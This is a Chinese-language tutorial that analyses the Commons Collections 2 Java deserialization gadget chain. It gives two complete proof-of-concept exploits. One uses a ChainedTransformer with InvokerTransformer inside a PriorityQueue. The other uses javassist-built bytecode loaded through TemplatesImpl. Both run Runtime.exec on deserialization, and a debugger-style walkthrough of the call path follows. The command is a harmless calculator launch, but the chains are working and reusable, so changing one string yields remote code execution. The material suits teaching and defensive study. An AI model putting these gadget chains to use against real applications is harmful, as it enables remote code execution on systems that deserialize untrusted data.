Java反序列化之Commons Collections2链

环境

commons-collections 4.0

JDK1.7、1.8.0

前置知识

PriorityQueue:

存在于java.util.PriorityQueue包

官方文档定义如下:

An unbounded priority queue based on a priority heap. The elements of the priority queue are ordered according to their natural ordering, or by a Comparator provided at queue construction time, depending on which constructor is used. A priority queue does not permit null elements. A priority queue relying on natural ordering also does not permit insertion of non-comparable objects (doing so may result in ClassCastException).

大致意思为基于优先级的一个队列,按照自然顺序或者由构建队列提供的比较器进行排序,不允许有空元素

PriorityQueueQueue的区别在于,它的出队顺序与元素的优先级有关,对PriorityQueue调用remove()poll()方法,返回的总是优先级最高的元素

关键API:

插入元素

1
boolean	add(E e)

移除优先级队列中的所有元素

1
void	clear()

返回优先级比较器,如果使用自然顺序进行排序,则返回null

1
Comparator<? super E>	comparator()

判断优先级队列中是否包含此元素,如果包含则返回true

1
boolean	contains(Object o)

返回在此队列上进行元素迭代的迭代器

1
Iterator<E>	iterator()

将指定元素插入到优先级队列中

1
boolean	offer(E e)

返回队头

1
E	peek()

返回队头,并且从队列中删除

1
E	poll()

从此队列中移除指定元素的单个实例

1
boolean	remove(Object o)

更多API查看官方文档:https://docs.oracle.com/javase/8/docs/api/java/util/PriorityQueue.html

Filed

存在于反射包中,即java.lang.reflect

Java8官方文档介绍:

A Field provides information about, and dynamic access to, a single field of a class or an interface. The reflected field may be a class (static) field or an instance field.

A Field permits widening conversions to occur during a get or set access operation, but throws an IllegalArgumentException if a narrowing conversion would occur.

大致意思:提供类或接口的单个字段的信息和动态访问;在访问时允许加宽操作,不允许缩小操作

在此对象上返回该所表示的字段的值 Field

1
Object	get(Object obj)

将指定对象参数上的此 Field 对象表示的字段设置为指定的新值

1
void	set(Object obj, Object value)

更多API查看官方文档:https://docs.oracle.com/javase/8/docs/api/

CC2链

Commons Collections寻找链的关键为:寻找一条Serializable#readObject()Transformer#transform()方法的调用链

POC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package ysoserial;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
// import java.util.Comparator;
import java.util.PriorityQueue;

public class commons_collections2 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
//与CC1一样
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

// 伪造的transformers数组
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
//将伪造的transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
//
TransformingComparator comparator = new TransformingComparator(transformerChain);

// 实例化PriorityQueue对象,初始大小为2,并且传入比较时的Comparator
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

这条链很清晰,是从PriorityQueue#readObject到Transformer#transform()的一个过程,两者通过TransformingComparator的compare方法衔接

POC1调试分析

在POC1中触发漏洞是Object o = (Object)ois.readObject();,其进一步调用的是PriorityQueue#readObject,在PriorityQueue#readObject中下断点调试,查看readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

执行到heapify函数前的变量情况

并且此时传入的queue对数组存放的元素正是我们在POC中对queue add的参数,即Int对象1和2,这里的size是往queue中添加元素的个数,通过后面代码可以分析为什么需要听见两个元素,当然也可以添加更多

其中for循环是将所有的元素读取存入queue,接下来的heapify()函数是为了保持元素的顺序正确,单步进入该函数

1
2
3
4
5
6
7
8
9
/**
* Establishes the heap invariant (described above) in the entire tree,
* assuming nothing about the order of the elements prior to the call.
*/
@SuppressWarnings("unchecked")
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

该函数仍然定义在类PriorityQueue中,查看代码中具体的注释即可理解该函数的作用

前面可知size的大小为2,经过无符号右移得到的i初始为0,进入for循环siftDown函数,第一轮传入的参数为(0, 整形对象1),单步进入该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* Inserts item x at position k, maintaining heap invariant by
* demoting x down the tree repeatedly until it is less than or
* equal to its children or is a leaf.
*
* @param k the position to fill
* @param x the item to insert
*/
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

通过函数注释了解到该函数的功能是将元素x插入到位置k,同时降低x的位置使其小于或等于其子节点或叶子节点

在这个if循环中,如果存在comparator,则会执行siftDownUsingComparator,而如果不存在,则会通过自然顺序进行比较

在POC中的语句中设置了比较器如下语句:

1
2
3
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

所以这里程序会进入至siftDownUsingComparator函数,参数同样是(0, 整形对象1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
// 左节点
int child = (k << 1) + 1;
Object c = queue[child];
// 右节点
int right = child + 1;
// 调用comparator.compare方法比较左右节点
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
// 左节点>右节点 调整当前节点的值是右节点的值
c = queue[child = right];
// 调用compare方法比较当前节点和c
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

第一个if前各参数的值

由于第一个if条件不满足,以同样的值进入第二个if条件判断,进入我们构造的TransformingComparator对象的compare函数:

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

此时各变量的值为

注意 iTransformers的值是反射设置的,即POC中的以下语句

1
2
3
4
5
6
7
setFieldValue(transformerChain, "iTransformers", transformers);

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}

注意this.transformer是ChainedTransformer对象,此时的compare调用了ChainedTransformer的transform方法,F7步入

1
2
3
4
5
6
7
8
9
10
11
public T transform(T object) {
Transformer[] arr$ = this.iTransformers;
int len$ = arr$.length;

for(int i$ = 0; i$ < len$; ++i$) {
Transformer<? super T, ? extends T> iTransformer = arr$[i$];
object = iTransformer.transform(object);
}

return object;
}

通过阅读代码就可以发现这里通过反射设置iTransformers的原因,for循环将数组中的对象拼接起来

拼接完后成功命令执行

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
transform:114, ChainedTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1184, ObjectStreamClass (java.io)
readSerialData:2322, ObjectInputStream (java.io)
readOrdinaryObject:2213, ObjectInputStream (java.io)
readObject0:1669, ObjectInputStream (java.io)
readObject:503, ObjectInputStream (java.io)
readObject:461, ObjectInputStream (java.io)
main:53, commons_collections2 (ysoserial)

此次POC1中每一部分的由来都解释清楚

POC2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package ysoserial;



import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class commons_collections2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

byte[] bytes=payload.toBytecode();//转换为byte数组

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列

Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

}
}

POC2分析

其实这里使用的链和POC1差不多,关键在于queue中的元素不同

从上往下分析:

1
2
3
4
5
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

可以理解为动态创建一个类,并且继承AbstractTranslet类

疑问1:为什么需要继承AbstractTranslet类

接着往下分析:

1
2
3
4
5
6
7
8
9
10
byte[] bytes=payload.toBytecode();//转换为byte数组

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

通过反射实例化TemplatesImpl类,并且设置_bytecodes字段值为payload的字节码,并且_name为test

疑问:为什么需要设置_bytecodes和_name

查看TemplatesImpl类中代码并找到_bytecodes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
...
}

在for循环_class[i] = loader.defineClass(_bytecodes[i]);中,经过loader.defineClass加载了_bytecodes中的字节码,这正是前面设置_bytecodes的原因

查看调用defineTransletClasses函数的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
....
}

该函数应该是根据_class获取对应的实例对象,在第一个if判断中,需要_name不能为null,故需要在POC中随便设置一个_name,在第二个判断中,就会调用defineTransletClasses函数,获取到我们构造的类;在 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();中,会将构造的类实例化,并且强制转换成AbstractTranslet对象,这就解答了疑问1中我们构造的类为什么需要继承AbstractTranslet的原因。

继续寻找调用getTransletInstance的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

在newTransformer中调用了getTransletInstance方法,问题就在于如何调用newTransformer方法

POC中:

1
2
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

使用了InvokerTransformer来调用newTransformer方法,同时使用了TransformingComparator,它的compare方法会调用传入参数的transform方法,这就衔接上了

再查看一边compare方法:

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这里的this.transformer即POC中构造的transformer对象,而obj1其实是TemplatesImpl对象,下面部分POC会体现

1
2
3
4
5
6
7
8
9
10
11
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列

Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

上面部分的构造都是为了PriorityQueue这条链做准备,这里与POC1一样,不解释

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
transform:137, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1184, ObjectStreamClass (java.io)
readSerialData:2322, ObjectInputStream (java.io)
readOrdinaryObject:2213, ObjectInputStream (java.io)
readObject0:1669, ObjectInputStream (java.io)
readObject:503, ObjectInputStream (java.io)
readObject:461, ObjectInputStream (java.io)
main:59, commons_collections2 (ysoserial)

参考

Java安全之Commons Collections2分析 - nice_0e3 - 博客园 (cnblogs.com)

ysoserial CommonsCollections2 详细分析-安全客 - 安全资讯平台 (anquanke.com)

通俗易懂的Java Commons Collection 2分析 - 先知社区 (aliyun.com)

反序列化入口PriorityQueue分析及相关Gadget总结 (r17a-17.github.io)

Java 反序列化漏洞入门 | Jckling’s Blog